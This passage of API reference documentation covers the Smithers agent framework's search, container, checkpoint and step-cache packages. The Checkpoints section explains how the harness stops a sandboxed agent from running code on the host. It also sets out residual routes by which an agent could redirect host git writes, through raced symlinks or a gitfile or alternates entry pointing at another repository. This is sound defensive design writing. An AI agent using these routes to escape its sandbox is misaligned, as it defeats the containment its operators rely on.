| `CONFIDENCE_FLOOR` | `0.7`                                                                                        | The confidence an attribution needs before it outranks the tree.                            |
| `MAX_OUTPUT_BYTES` | `32768`                                                                                      | The most output bytes one judgment carries, newest kept.                                    |
| `probeAttribution` | `Classifier` `probe/attribution`                                                             | The classifier `classify` asks: `attribution` choice, `executed` boolean.                   |
| `classify`         | `(result: { command, exitCode, output }) => Effect<Attribution, ClassifierError, Evaluator>` | Attributes one command result, with Jev.                                                    |
| `unjudged`         | `(error: ClassifierError) => StdError`                                                       | The standard-flow failure a judge that did not answer is.                                   |

```ts
import { Probe } from "@smthrs/std"

const attribution = yield * Probe.classify({ command: "pytest tests/x.py::nope", exitCode: 4, output })
// { to: "unknown-test", executed: false, invalidProbe: { reason: "unknown-test", ... } }
```

The attribution is Jev's: `classify` asks `probeAttribution`, the exported
`probe/attribution` declaration, through the `Evaluator` service of
[`@smthrs/model`](/docs/reference/api/model/), so a host needs a bound evaluator on a
subscription seat. A zero exit is attributed to the tree without the judge. All non-zero exits,
including 126 and 127, need attribution: a runner can choose those codes after
executing a check. An answer below
`CONFIDENCE_FLOOR` is the tree's failure, which leaves a genuine reproduction
intact. There is no third path: when the judge does not answer, `unjudged`
turns its failure into the caller's typed failure rather than a guess.

## Search

The implementation seam behind `grep` and `glob`.

| Export        | Type                                | Meaning                                                                      |
| ------------- | ----------------------------------- | ---------------------------------------------------------------------------- |
| `Search`      | interface and `Context.Service` tag | `{ grep, glob }`.                                                            |
| `make`        | `(service: Search) => Search`       | Builds a peer from its two operations.                                       |
| `makeNoop`    | `() => Search`                      | Fails both calls with `provider_unavailable`.                                |
| `layerNoop`   | `Layer<Search>`                     | Provides `makeNoop`.                                                         |
| `GrepInput`   | interface                           | Normalized grep input, with every option resolved.                           |
| `GrepOutput`  | interface                           | `matches`, `files`, `filesSearched`, `skippedBinary`, `truncated`, `notice`. |
| `GrepLine`    | interface                           | One row a peer produces before grouping: `file`, `line`, `text`, `kind`.     |
| `GrepMatch`   | interface                           | One hit with its `before`, `after`, and `symbol`.                            |
| `ContextLine` | interface                           | `line`, `text`.                                                              |
| `Symbol`      | interface                           | `kind`, `name`, `startLine`, `endLine`.                                      |
| `GlobInput`   | interface                           | `pattern`, `root`, `hidden`, `limit`.                                        |
| `GlobOutput`  | interface                           | `paths`, `total`, `truncated`, `notice`.                                     |

Both operations return `Effect<_, StdError>` with no requirement, so a peer
resolves its own services when it is built.

## PortableSearch

The in-process peer. Walks the injected `FileSystem`, so it needs no external
binary and is browser-safe.

| Export     | Type                                                                                                                                   |
| ---------- | -------------------------------------------------------------------------------------------------------------------------------------- |
| `make`     | `(services: Context<FileSystem \| Path>) => Search.Search`                                                                             |
| `layer`    | `Layer<Search.Search, never, FileSystem \| Path>`                                                                                      |
| `searched` | `(input: Pick<GrepInput, "root" \| "hidden" \| "noIgnore" \| "globs">) => Effect<ReadonlyArray<string>, StdError, FileSystem \| Path>` |

`searched` names the files `grep` reads for an input, in the order it reads
them; `RemoteSearch` fetches exactly those.

## NativeSearch

The peer that drives the `rg` executable through the permission-aware spawner.

| Export              | Type                                                                                                                              | Meaning                                                            |
| ------------------- | --------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------ |
| `MAX_CAPTURE_BYTES` | `67_108_864`                                                                                                                      | Bytes captured from either `rg` stream before the call is refused. |
| `make`              | `(services: Context<FileSystem \| Path \| ChildProcessSpawner>, environment?: Readonly<Record<string, string>>) => Search.Search` |                                                                    |
| `layer`             | `Layer<Search.Search, never, FileSystem \| Path \| ChildProcessSpawner>`                                                          |                                                                    |

An overflow is `command_failed` rather than a truncation, because a partial
ripgrep stream could make this peer disagree with the portable one. A failure to
start `rg` is `provider_unavailable`. The default layer uses the host environment
allowlist. `make` accepts explicit environment declarations as its second
argument; those names override the allowlist.

## RemoteSearch

The peer for a tree on another machine, such as a container or a sandbox
machine. It lists the root with the machine's `find`, brings back its
`.gitignore` files and then the files the search reads with `tar`, and lets
`PortableSearch` answer over that copy, so every result, notice, and refusal is
the in-process peer's. Each search is two round trips through the machine's
spawner, whatever the tree's size.

| Export     | Type                                                                                                 | Meaning                                                                      |
| ---------- | ---------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------- |
| `maxBytes` | `268_435_456`                                                                                        | The most file content one search brings back; past it, `response_too_large`. |
| `make`     | `(services: Context<ChildProcessSpawner \| Path>, options?: { maxBytes?: number }) => Search.Search` | The spawner runs on the machine; `Path` resolves a relative root there.      |

The machine needs `sh`, `find`, `xargs`, `tar`, `head`, and `base64`; GNU,
BusyBox, and BSD userlands all have them, and a machine without one refuses
with `command_failed` naming it. The program goes in on standard input and
the answer comes back as base64, so a transport whose argv is bounded or whose
output channel carries only text answers intact.

## SearchContract

The validation and matching rules both peers build on, exported so a third peer
cannot drift on what a pattern means.

| Export                | Type                                                                                  | Meaning                                          |
| --------------------- | ------------------------------------------------------------------------------------- | ------------------------------------------------ |
| `validatePattern`     | `(pattern: string, fixedStrings: boolean) => StdError \| undefined`                   | Checks Smithers Ripgrep ASCII v1.                |
| `validateGlob`        | `(glob: string) => StdError \| undefined`                                             | Checks the glob grammar.                         |
| `canonicalGlob`       | `(glob: string) => string`                                                            | The one spelling both peers match against.       |
| `matchesGlob`         | `(pattern: string, relative: string, basename: string) => boolean`                    | One glob against one candidate.                  |
| `includedByGlobs`     | `(globs: ReadonlyArray<string>, relative: string, basename: string) => boolean`       | Ordered include and exclude.                     |
| `expression`          | `(pattern: string, fixedStrings: boolean, insensitive: boolean) => RegExp`            | Compiles a validated pattern.                    |
| `unsatisfiableNotice` | `(options: { fileSystem, path, root, globs, hidden }) => Effect<string \| undefined>` | Explains globs no file under the root can match. |
| `isContractRejection` | `(error: StdError) => boolean`                                                        | Whether this contract wrote the rejection.       |

## SearchConformance

A differential kit that reports where two `Search` peers disagree.

| Export          | Type                                                                           | Meaning                                                                        |
| --------------- | ------------------------------------------------------------------------------ | ------------------------------------------------------------------------------ |
| `GeneratedFile` | interface                                                                      | `path` relative to the tree root, and `content`.                               |
| `Plan`          | interface                                                                      | `seed`, `root`, `files`, `grep`, `glob`.                                       |
| `Divergence`    | interface                                                                      | `call`, `input`, `subject`, `reference`.                                       |
| `plan`          | `(options: { seed, root, files?, calls? }) => Plan`                            | Builds a reproducible tree and call batch. Defaults are 12 files and 12 calls. |
| `materialize`   | `(plan: Plan) => Effect<void, never, FileSystem \| Path>`                      | Writes the tree.                                                               |
| `compare`       | `(options: { plan, subject, reference }) => Effect<ReadonlyArray<Divergence>>` | Runs every call through both peers.                                            |
| `report`        | `(divergences: ReadonlyArray<Divergence>) => string`                           | Renders them as a failing run's output.                                        |

## Container

The host's route into a named container, as an injected transport. Nothing here
spawns: it only decides an argv, which `bash` then spawns through the same
permission-aware spawner as everything else.

| Export         | Type                                                   | Meaning                                                                    |
| -------------- | ------------------------------------------------------ | -------------------------------------------------------------------------- |
| `Container`    | interface and `Context.Service` tag                    | `{ exec: (request: Request) => Effect<Plan, StdError> }`.                  |
| `Request`      | interface                                              | `container`, `file`, `args`, `cwd?`, `env?`, `stdin`.                      |
| `Plan`         | interface                                              | `file`, `args`, `env?`: argv and environment overrides for the host spawn. |
| `make`         | `(service: Container) => Container`                    |                                                                            |
| `unavailable`  | `(container: string) => StdError`                      | The refusal a host with no route answers with.                             |
| `makeNoop`     | `() => Container`                                      | Fails every request with `unavailable`.                                    |
| `layerNoop`    | `Layer<Container>`                                     |                                                                            |
| `makeCommand`  | `(options?: { program?: string }) => Container`        | A `docker exec` compatible CLI. Defaults to `docker`.                      |
| `layerCommand` | `(options?: { program?: string }) => Layer<Container>` |                                                                            |

`makeCommand` attaches `-i` only when the payload arrives on standard input,
because a container CLI holding stdin open for a command that never reads it
makes that command hang. A container name that is empty or starts with `-` is
`invalid_input`, and so is an environment name that is not a POSIX shell name.
A requested variable never reaches the host transport process under its own
name, so `PATH`, `LD_PRELOAD`, or `DOCKER_HOST` cannot choose what runs on the
host: `Plan.env` carries each value as `SMITHERS_CONTAINER_ENV_KEY`, argv
carries only `-e SMITHERS_CONTAINER_ENV_KEY`, and an `sh -c` inside the
container renames it to `KEY` before `exec`ing the program. A request that
carries `env` therefore requires `sh` on the container's `PATH`; an image
without one (distroless, `scratch`) fails every such request, and a request
without `env` runs the program directly. Supply a custom transport for such an
image. Custom transports return any host process environment overrides in
`Plan.env`.

## TreeFingerprint

The identity of one directory tree, measured where the tree is. The host's
workspace walk cannot see a container's filesystem, so `bash` runs this
script through the container transport before and after a containerised
command and reports whether the two answers differ under the reserved
`mutated` key. The harness reads `true` as a measured write, the way it reads
`invalidProbe` as a measured refusal.

| Export                  | Type                                                | Meaning                                                                                                                                        |
| ----------------------- | --------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------- |
| `key`                   | `"mutated"`                                         | The reserved output key a flow reports a measured write under.                                                                                 |
| `defaultPrune`          | `ReadonlyArray<string>`                             | Directory names never descended into: every name the search walk skips, including both scratch checkout directories, plus `venv` and `target`. |
| `defaultIgnoreSuffixes` | `ReadonlyArray<string>`                             | Name suffixes left out, compiled output above all.                                                                                             |
| `maxPaths`              | `50000`                                             | The bound past which a listing is a prefix and reports `complete: false`.                                                                      |
| `Measurement`           | interface                                           | `{ digest, paths, complete }`.                                                                                                                 |
| `script`                | `(options?: { prune?, ignoreSuffixes? }) => string` | The POSIX shell script: sorted `find` + `stat -c` listing, `cksum`, count.                                                                     |
| `parse`                 | `(stdout: string) => Measurement \| undefined`      | Reads one measurement; anything malformed is unmeasured, never unchanged.                                                                      |
| `moved`                 | `(before?, after?) => boolean \| undefined`         | `true`/`false` from two complete measurements; `undefined` from anything less.                                                                 |

Identity, not content: size and mtime per file, so a rewrite that restores
both is invisible, exactly as it is to the host walk. Every tool the script
needs is POSIX or busybox; a container without one exits non-zero and `bash`
reports no `mutated` at all.

## TestRunner

How the project under test runs its suite, declared once by the host.

| Export        | Type                                    | Meaning                                                                                         |
| ------------- | --------------------------------------- | ----------------------------------------------------------------------------------------------- |
| `captureBase` | `"refs/flows/capture-base"`             | The default ref naming the pristine tree.                                                       |
| `Runner`      | interface                               | `command`, `cwd?`, `root?`, `container?`, `env?`, `baseRef?`, `baseline?: false`, `timeoutMs?`. |
| `TestRunner`  | interface and `Context.Service` tag     | `{ declared: Effect<Runner, StdError> }`.                                                       |
| `make`        | `(runner: Runner) => TestRunner`        |                                                                                                 |
| `makeNoop`    | `() => TestRunner`                      | Declares that this host knows of no runner.                                                     |
| `layer`       | `(runner: Runner) => Layer<TestRunner>` |                                                                                                 |
| `layerNoop`   | `Layer<TestRunner>`                     |                                                                                                 |

## Checkpoints

Pinned trees, and the scratch checkouts a call runs against.

| Export             | Type                                                                                          | Meaning                                                          |
| ------------------ | --------------------------------------------------------------------------------------------- | ---------------------------------------------------------------- |
| `Checkpoints`      | interface and `Context.Service` tag                                                           | `{ capture, materialize }`.                                      |
| `Snapshot`         | `Schema.Class`                                                                                | `{ id, ref }`, identified as `@smthrs/std/Checkpoints/Snapshot`. |
| `Materialized`     | interface                                                                                     | `id`, `host`, `guest`, `root`, `guestRoot`.                      |
| `baseId`           | `"base"`                                                                                      | The id naming the tree the run opened on.                        |
| `scratchDirectory` | `".flows-checkpoints"`                                                                        | Where a checkpoint is materialized, relative to the root.        |
| `configSection`    | `"flows-checkpoint"`                                                                          | The git-config section minted checkpoints are recorded under.    |
| `make`             | `(service: Checkpoints) => Checkpoints`                                                       |                                                                  |
| `unavailable`      | `(id: string) => StdError`                                                                    | The refusal a host that pins nothing answers with.               |
| `makeNoop`         | `() => Checkpoints`                                                                           | Fails both calls with `unavailable`.                             |
| `layerNoop`        | `Layer<Checkpoints>`                                                                          |                                                                  |
| `GitOptions`       | interface                                                                                     | `root`, `cwd?`, `baseRef?`.                                      |
| `makeGit`          | `(options: GitOptions) => Effect<Checkpoints, never, ChildProcessSpawner>`                    |                                                                  |
| `layerGit`         | `(options: GitOptions) => Layer<Checkpoints, never, ChildProcessSpawner>`                     |                                                                  |
| `ContainerOptions` | interface                                                                                     | `container`, `cwd?`.                                             |
| `makeContainer`    | `(options: ContainerOptions) => Effect<Checkpoints, never, ChildProcessSpawner \| Container>` | Runs git inside the container `bash` runs in.                    |
| `layerContainer`   | `(options: ContainerOptions) => Layer<Checkpoints, never, ChildProcessSpawner \| Container>`  |                                                                  |
| `Relocation`       | tagged union                                                                                  | `Relocated`, `UnsupportedFlow`, `AbsolutePath`, `OutsideTree`.   |
| `relocate`         | `(flow: string, input: Json, materialized: Materialized) => Relocation`                       | Rewrites one call's input onto a checkpoint.                     |

`capture(id)` returns a `Snapshot`. `materialize(id, use)` is scoped: it hands
the tree to `use` and removes the checkout however that effect ends. Host git
never runs with the workspace's `.git` as its `GIT_DIR`: it records and checks
out through a temporary shadow repository that shares only the workspace's
objects, with host config files switched off. A hook, `core.fsmonitor` command,
filter driver or `info/attributes` entry written into the workspace's `.git`
therefore does not run on the host. The workspace is still read for refs, its
index, its config file (as a file) and a few `core.*` hashing settings. A
checkout gets its own standalone `.git`, so a container can run git in it.

A materialize never has host git write into an agent-writable directory. It
writes the checkout and its `.git` into a staging directory the agent cannot
reach, inside the temporary shadow or, when the host's temporary directory is
another filesystem, a `.smithers-checkout-<uuid>` directory beside the
workspace root, or `checkout-<uuid>` under `$XDG_CACHE_HOME/smithers` (default
`~/.cache/smithers`) when the root's parent is not writable. One `rename` then
gives the finished directory its name under the workspace. A checkout name the
agent swaps for a symlink fails the call before anything is written through
it. The rename runs from inside the checkout's parent, entered by its physical
path, and a parent that resolves outside the workspace root's real path fails
the call before the rename. When no staging directory shares the checkout's
filesystem, the materialize is refused rather than copied, and the refusal
names each candidate, including a root parent that is not writable.

Two data-write residuals remain, neither of which runs a program. First, host
writes into agent-writable `.git` paths (new objects, the checkpoint's config
entry) follow a symlink the agent races into place. Second, the repository is
whatever `git rev-parse --git-common-dir` names: a `.git` gitfile
(`gitdir: <path>`) or an `objects/info/alternates` entry can point it at
another git directory on the host. Captures then write objects and the config
entry into that directory, a checkpoint id edited in `.git/config` can name a
commit from it, and read-tree resolves object ids across the alternate store,
so a materialize can write another host repository's files into the checkout.
Both residuals apply whenever the agent can write the workspace, including its
`.git` through a container bind mount; creating `.git` in the harness does not
help, because the agent can rewrite it afterwards. The only mitigation is a
`.git` and checkout path the agent cannot write, such as a read-only mount of
`.git`, or running captures and checkouts against a git directory the harness
keeps outside the mount.

## Relocate

What can be pointed at a checkpoint, and what cannot.

| Export       | Type                                                                    | Meaning                                                        |
| ------------ | ----------------------------------------------------------------------- | -------------------------------------------------------------- |
| `Relocation` | tagged union                                                            | `Relocated`, `UnsupportedFlow`, `AbsolutePath`, `OutsideTree`. |
| `relocate`   | `(flow: string, input: Json, materialized: Materialized) => Relocation` | Rewrites one call's input onto a checkpoint.                   |

`relocate` knows the field each supported flow names a location in: `cwd` for
`bash`, `path` for `read` and `ls`, `root` for `grep` and `glob`. Every other
flow answers `UnsupportedFlow`. Both names are re-exported from `Checkpoints`,
which is how the harness reaches them.

## LanguageServer

The code-intelligence seam.

| Export           | Type                                          | Meaning                                                             |
| ---------------- | --------------------------------------------- | ------------------------------------------------------------------- |
| `Position`       | interface                                     | `path`, `line`, `character`, in the protocol's 0-based coordinates. |
| `LanguageServer` | interface and `Context.Service` tag           | Ten queries, `sync`, `close`, and `refresh`.                        |
| `make`           | `(service: LanguageServer) => LanguageServer` |                                                                     |
| `makeNoop`       | `() => LanguageServer`                        | Answers `unsupported` for every request.                            |
| `layerNoop`      | `Layer<LanguageServer>`                       |                                                                     |

The queries are `hover`, `definition`, `references`, `implementation`,
`documentSymbols`, `workspaceSymbols`, `prepareCallHierarchy`,
`callHierarchyIncoming`, `callHierarchyOutgoing`, and `diagnostics`, each
returning `Effect<unknown, StdError>`. `sync(path, text)` sends a file's new
text, `close(path)` says it is gone, and `refresh` re-reads every synced file
from disk, resending changed ones and closing deleted ones.

`NodeLanguageServer` in [`@smthrs/platform-node`](/docs/reference/api/platform-node/) binds this
service to language-server processes on the host. See
[Query a language server](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/std/docs/guides/query-a-language-server.md).

## ExaWebSearch

A `WebSearch` provider backed by the Exa API.

| Export  | Type                                                                                    |
| ------- | --------------------------------------------------------------------------------------- |
| `layer` | `(credentialId: string) => Layer<WebSearch.WebSearch, never, Credential \| HttpClient>` |

The key is read from the named credential through
[`@smthrs/control`](/docs/reference/api/control/) rather than from the environment. See
[Reach the network](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/std/docs/guides/reach-the-network.md#search-the-web) for the status
mapping.

## Runtime notes

The root entry point is platform-neutral. It imports and runs in a browser, a
Cloudflare Worker, Node.js, and Bun, and it reaches no `node:*` module. A
handler that needs the machine gets it from a host layer:

| Need             | Where it comes from                                                                                                                   |
| ---------------- | ------------------------------------------------------------------------------------------------------------------------------------- |
| Files and paths  | `FileSystem` and `Path`                                                                                                               |
| Processes        | `ChildProcessSpawner`, with the environment read through [`@smthrs/kernel`](/docs/reference/api/kernel/)'s `ChildProcessSpawner.ambientEnvironment()` |
| Web destinations | an `HttpClient` that implements the kernel's destination pinning, and the kernel's `HttpClient.ResolveHost`                           |
| Language servers | `LanguageServer`, bound on Node.js and Bun by `NodeLanguageServer` from [`@smthrs/platform-node`](/docs/reference/api/platform-node/)                 |

`HttpClient.ResolveHost` refuses every name by default.
[Reach the network](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/std/docs/guides/reach-the-network.md#where-names-resolve) covers
which hosts resolve names and what the web tools return where none does.

The model behind this surface has its own pages:

- [Limits are disclosed, never silent](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/std/docs/concepts/limits-and-disclosure.md) for
  every cap and how it is reported.
- [Effects and capabilities](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/std/docs/concepts/effects-and-capabilities.md) for the
  declared envelopes, the narrowing, and why hermetic mode is a pre-check rather
  than a sandbox.

---

# @smthrs/step-cache
https://smithers.sh/docs/reference/api/step-cache/

> **Source:** [implementation](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/step-cache/src) · [reference source](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/step-cache/docs/api.md) · [package docs](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/step-cache/docs)

> **Related APIs:** [`@smthrs/canonical`](/docs/reference/api/canonical/) · [`@smthrs/database`](/docs/reference/api/database/)

`@smthrs/step-cache` stores sealed step results by content digest. One service
contract, `CacheStore.Service`, has three implementations in this package: the
SQL store, the HTTP client for a shared tier, and the composition of the two.
For the model behind the two tables, see
[the head and the ledger](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/step-cache/docs/concepts/head-and-ledger.md).

## Example

```ts
import * as CacheStore from "@smthrs/step-cache/CacheStore"
import * as TestCacheStore from "@smthrs/step-cache/test/TestCacheStore"
const cached = Effect.gen(function*() {
  const cache = yield* CacheStore.CacheStore
  yield* cache.put({
    keyDigest: "compile-v1",
    result: { bytes: 41_022 },
    meta: {},
    createdAtMs: Date.now(),
    recordedRunId: "run-a",
    recordedEventSeq: 7
  })
  return yield* cache.get("compile-v1")
}).pipe(Effect.provide(TestCacheStore.layer))
```

## Entry points

| Import                                   | Exports                                                                                                 | Platform |
| ---------------------------------------- | ------------------------------------------------------------------------------------------------------- | -------- |
| `@smthrs/step-cache`                     | `CacheStore`, `CacheStoreMetrics`, `CombinedCacheStore`, `Migrations`, `RemoteCacheStore` as namespaces | any      |
| `@smthrs/step-cache/CacheStore`          | the service, its schemas, its validators, and its layers                                                | any      |
| `@smthrs/step-cache/CacheStoreMetrics`   | the lookup and recording counters                                                                       | any      |
| `@smthrs/step-cache/CombinedCacheStore`  | the two-tier composition                                                                                | any      |
| `@smthrs/step-cache/RemoteCacheStore`    | the HTTP action-cache client                                                                            | any      |
| `@smthrs/step-cache/Migrations`          | the namespaced migration set                                                                            | any      |
| `@smthrs/step-cache/test/TestCacheStore` | the migrated in-memory store                                                                            | Node     |

The root is written against the driver-neutral
[`@smthrs/database`](/docs/reference/api/database/) contract and bundles for the browser. The
test double binds a Node SQLite database, so it lives at its own subpath.
`@smthrs/step-cache/internal/*`, `@smthrs/step-cache/migrations/*`, and
`@smthrs/step-cache/*/index` are blocked by the export map. See
[platform support](/docs/reference/api/#platform-support).

## CacheStore

Durable content-addressed step result storage. The store receives digests and
results that a caller already computed; it never interprets a step layer, a
capability, or result metadata.

### CacheStore

```ts
class CacheStore extends Context.Service<CacheStore, Service>()("@smthrs/step-cache/CacheStore") {}
```

The service tag. `yield* CacheStore.CacheStore` resolves the store. The
identity string equals the defining module path, so a persisted digest that
folds in service identity keeps naming this module.

### Service

```ts
interface Service {
  readonly get: (
    keyDigest: string,
    options?: GetOptions
  ) => Effect.Effect<Option.Option<CacheEntry>, CacheStoreError>
  readonly put: (entry: CacheEntry) => Effect.Effect<PutResult, CacheStoreError>
  readonly evict: (
    keyDigest: string,
    options?: EvictOptions
  ) => Effect.Effect<boolean, CacheStoreError>
  readonly sweepExpired: (olderThanMs: number, options?: SweepOptions) => Effect.Effect<number, CacheStoreError>
}
```

| Method         | Answers                                                                                                                                                           |
| -------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `get`          | The entry under `keyDigest`: the mutable head by default, the version a named provenance recorded when `options.recordedBy` is set, `Option.none()` for a miss.   |
| `put`          | `Inserted`, `ExistingSame`, or `Conflict`. One call writes the head row and the provenance row in a single transaction.                                           |
| `evict`        | `true` when a row was deleted, `false` when none matched. With `options.ifRecordedBy` the delete is one fenced compare-and-swap.                                  |
| `sweepExpired` | How many head rows were deleted. Rows recorded strictly before the floor go; a row recorded exactly at it stays. Ledger collection requires `canReclaimRecorded`. |

`get` and `evict` validate their arguments before any statement is issued, so a
malformed key, provenance, or age bound fails with `invalid_cache` rather than
reading as an ordinary miss. See
[read the result one event recorded](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/step-cache/docs/guides/read-a-recorded-result.md) and
[evict a poisoned entry](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/step-cache/docs/guides/evict-a-poisoned-entry.md).

### SweepOptions

```ts
interface SweepOptions {
  readonly canReclaimRecorded?: (
    reference: Pick<CacheEntry, "keyDigest" | "recordedRunId" | "recordedEventSeq">
  ) => Effect.Effect<boolean, CacheStoreError>
}
```

Optional host policy for old ledger rows. Return `true` only after all local
references to that exact provenance have been released. No callback means no
ledger collection. It runs inside the sweep's writer transaction and a failure
rolls back the sweep. The head deletion count remains the return value.
`CombinedCacheStore` forwards these options to the local tier only.

Quiesce all execution and replay while checking references and sweeping. See
[ledger retention](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/step-cache/docs/troubleshooting.md#flows_step_cache_recorded-grows-and-nothing-reclaims-it)
for coordination requirements. The callback must use local reads and preserve
rows when reference state is unknown.

### CacheEntry

```ts
const CacheEntry: Schema.Struct<{
  keyDigest: typeof KeyDigest
  result: Schema.Unknown
  meta: Schema.Unknown
  createdAtMs: Schema.Int
  recordedRunId: typeof RecordedRunId
  recordedEventSeq: Schema.Int
}>
type CacheEntry = typeof CacheEntry.Type
```

The durable data recorded for one cache key.

| Field              | Meaning                                                                                                       |
| ------------------ | ------------------------------------------------------------------------------------------------------------- |
| `keyDigest`        | The content address. One `KeyDigest` token.                                                                   |
| `result`           | The step's result, stored as a value. The store canonicalizes it on the way in and decodes it on the way out. |
| `meta`             | Result metadata, admitted and stored under the same rules as `result`. The store never interprets it.         |
| `createdAtMs`      | When the result was recorded, in epoch milliseconds. Age bounds and sweeps measure from this field.           |
| `recordedRunId`    | The run whose journal recorded the result.                                                                    |
| `recordedEventSeq` | The event within that run. With `recordedRunId` it is the provenance a replay reads through.                  |

`createdAtMs` and `recordedEventSeq` are non-negative safe integers. For what
`result` and `meta` may contain, see
[what the cache admits](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/step-cache/docs/concepts/admission.md).

### GetOptions

```ts
type GetOptions = {
  readonly recordedBy?: RecordedBy
  readonly maxAgeMs?: number
}
```

`recordedBy` prefers the append-only ledger row that exact `(runId, eventSeq)`
pair landed, falling back to the mutable head only when the ledger holds no row
for that provenance.

`maxAgeMs` refuses an entry recorded more than that many milliseconds before
the current clock reading, and counts the lookup as a miss. It bounds the
ledger read and the head read alike, and one lookup resolves its age floor
once, so a row cannot be fresh for one read and stale for the other. The bound
is a read policy, never a deletion: the row stays on disk, so a second caller
declaring a longer bound still reads it.

The two compose in one direction only. A lookup naming a provenance the ledger
holds and the bound refuses answers a miss; it never falls through to the head.

### EvictOptions

```ts
type EvictOptions = {
  readonly ifRecordedBy?: RecordedBy
}
```

Deletes the row only while it still carries that `(runId, eventSeq)` pair, both
halves. Omitting the predicate deletes unconditionally. The predicate rides
inside the `DELETE`, so a fresher row another process recorded between a
caller's lookup and its eviction is never dropped with the poison.

### PutResult

```ts
type PutResult =
  | { readonly _tag: "Inserted" }
  | { readonly _tag: "ExistingSame" }
  | { readonly _tag: "Conflict" }
```

`Inserted` created the head row. `ExistingSame` found a row that does not
disagree. `Conflict` found bytes the store will not overwrite: the same
provenance re-recorded with a different `result`, `meta`, or `createdAtMs`, or
a different `result` another run already recorded under this digest. How the
two stages arbitrate is in
[the head and the ledger](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/step-cache/docs/concepts/head-and-ledger.md).

### RecordedBy

```ts
const RecordedBy: Schema.Struct<{ runId: typeof RecordedRunId; eventSeq: Schema.Int }>
type RecordedBy = typeof RecordedBy.Type
```

The exact journal event that recorded a cache result. Sequence numbers are per
run and collide across runs routinely, so both halves are load bearing.

### KeyDigest

```ts
const KeyDigest: Schema.String
type KeyDigest = typeof KeyDigest.Type
```

One URL-segment-safe cache-key digest: 1 to `maximumKeyDigestLength`
characters matching `[A-Za-z0-9_-]`. The grammar makes `.`, `..`, path
separators, control characters, and lone surrogates unrepresentable, so a key
can neither escape the shared tier's `/ac/` namespace nor reach SQL as anything
but one opaque token.

### RecordedRunId

```ts
const RecordedRunId: Schema.NonEmptyString
```

The run id carried by a provenance record: non-empty, NUL-free, well-formed
text of at most `maximumRecordedRunIdLength` UTF-16 code units. Other control
characters are admitted deliberately. The id is opaque here, it reaches SQL as
a bound parameter and the wire as a percent-encoded query value, and every
stored ledger row is read back through this schema, so a narrower grammar
would make rows already on disk undecodable.

### CacheStoreError

```ts
class CacheStoreError extends Schema.TaggedError<CacheStoreError>()(
  "@smthrs/step-cache/CacheStoreError",
  { code: CacheStoreErrorCode, message: Schema.String, cause: Schema.optional(Schema.Unknown) }
) {}
```

The one error every operation of every tier fails with. Boundary diagnostics
name the offending field and never retain the rejected payload.

### CacheStoreErrorCode

```ts
const CacheStoreErrorCode: Schema.Literals<
  readonly ["invalid_cache", "constraint", "decode_failed", "persistence_failed", "unknown"]
>
type CacheStoreErrorCode = typeof CacheStoreErrorCode.Type
```

| Code                 | Raised when                                                                                                                                                 |
| -------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `invalid_cache`      | An argument violated the boundary: the key grammar, the provenance contract, an age bound, the JSON budget, or a shell the store cannot read as inert data. |
| `constraint`         | The database refused the write with a constraint or unique violation.                                                                                       |
| `decode_failed`      | A stored row, or a shared tier's response, could not be decoded back into a `CacheEntry`.                                                                   |
| `persistence_failed` | The database or the shared tier failed: a transport refusal, an unexpected HTTP status, an oversized body, or a request that passed its deadline.           |
| `unknown`            | A row the store had just written was missing inside its own transaction, or a `makeNoop` method no test supplied was called.                                |

See [troubleshooting](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/step-cache/docs/troubleshooting.md) for the message text each one
carries and what to change.

### maximumKeyDigestLength

```ts
const maximumKeyDigestLength = 256
```

Maximum characters accepted in one cache-key digest.

### maximumRecordedRunIdLength

```ts
const maximumRecordedRunIdLength = 1024
```

Maximum UTF-16 code units accepted in a recording run id.

### maximumJsonBytes

```ts
const maximumJsonBytes: number
```

Maximum encoded bytes admitted for one `result` or `meta` tree: 4 MiB. It also
bounds a single string inside a tree, and a stored row whose UTF-8 encoding is
longer than it is refused before it is parsed.

### maximumJsonDepth

```ts
const maximumJsonDepth = 128
```

Maximum nesting admitted for one cache JSON tree.

### maximumJsonNodes

```ts
const maximumJsonNodes = 100000
```

Maximum values admitted for one cache JSON tree.

### maximumJsonMembers

```ts
const maximumJsonMembers = 100000
```

Maximum members admitted by one cache JSON array or object.

### make

```ts
const make: Effect.Effect<Service, never, DurableWriter | SqlClient.SqlClient>
```

Builds the SQL-backed store over the context's write boundary and SQL client.
Use it when a composition needs the service as a value, for example as one tier
of `CombinedCacheStore.make`.

### layer

```ts
const layer: Layer.Layer<CacheStore, never, DurableWriter | SqlClient.SqlClient>
```

Provides the SQL-backed store. Compose the migrations beneath it so the tables
exist before the service is exposed. See
[compose a durable step cache](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/step-cache/docs/guides/compose-a-store.md).

### rebuildHeads

```ts
const rebuildHeads: (
  candidates: Iterable<RecordedRef>
) => Effect.Effect<number, CacheStoreError, DurableWriter | SqlClient.SqlClient>
```

Replaces every head with the ledger rows the candidates name, in one writer
transaction. The head is copied from the ledger row byte for byte, so payload
limits and provenance are the ones admitted when it was recorded. A candidate
with no ledger row is skipped. Invalid candidates, or two for one key, fail
`invalid_cache` before any head is touched. Returns the number of heads
written. `@smthrs/engine-store`'s `StepCacheFold.rebuild` supplies the
candidates from the journal.

### RecordedRef

```ts
type RecordedRef = Pick<CacheEntry, "keyDigest" | "recordedRunId" | "recordedEventSeq">
```

One ledger row's identity: the key and the journal event that recorded it.

### makeNoop

```ts
const makeNoop: (overrides?: Partial<Service>) => Service
```

A store whose every operation fails with `unknown` and a message naming the
